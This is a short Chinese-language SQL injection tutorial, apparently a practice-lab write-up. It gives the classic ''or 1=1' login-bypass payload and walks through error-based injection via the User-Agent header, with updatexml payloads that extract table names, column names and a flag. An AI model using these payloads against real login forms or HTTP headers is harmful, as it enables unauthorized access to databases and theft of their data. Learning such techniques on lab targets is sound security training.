POST注入
跟GET注入的本质区别
只是传参方式的不同,本质上没有什么区别
POST注入高危点:
登录框
查询框
等各种和数据库有交互的框
POST注入最经典的万能密码:
'or 1=1 --qwe
这样就可以直接登录成功
表单不一定是POST传参
Head注入
首先什么是Head注入?
我们先从靶场随便抓一个包
最下面一行五颜六色的就是POST注入的参数
而上面那一大块就是Head注入的参数
Head注入分为两类:
1.盲注
2.报错注入
这里我们先以报错注入为例
我们以靶场为例
我们先看一下这个靶场的源码来便于理解
这里我们运用$uagent这个超全局变量来测试
通过源码我们知道,这里ua的注入点是HTTP_USER_AGENT这个参数
这里我们需要输入正确的账户名和密码,因为Head注入是在成功登录的情况下进行的
我们通过burp抓包,找到User-Agent这个参数
再通过源码我们知道闭合方式是’ ,1) --qwe
这里我们会用到一个新语句updatexml(目标xml内容,xml文档路径,更行的内容)
这个是用来对文档路径进行报错的
于是我们输入语句’ or updatexml(1,concat(’!’,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1),1) – qwe
得到目标表名flag_head
再用语句’ or updatexml(1,concat(’!’,(select column_name from information_schema.columns where table_schema = database() and table_name = ‘flag_head’ limit 1,1)),1),1) – qwe
得到目标列名flag_h1
最后用语句’ or updatexml(1,concat(’!’,(select flag_h1 from flag_head limit 0,1)),1),1) – qwe
得到flag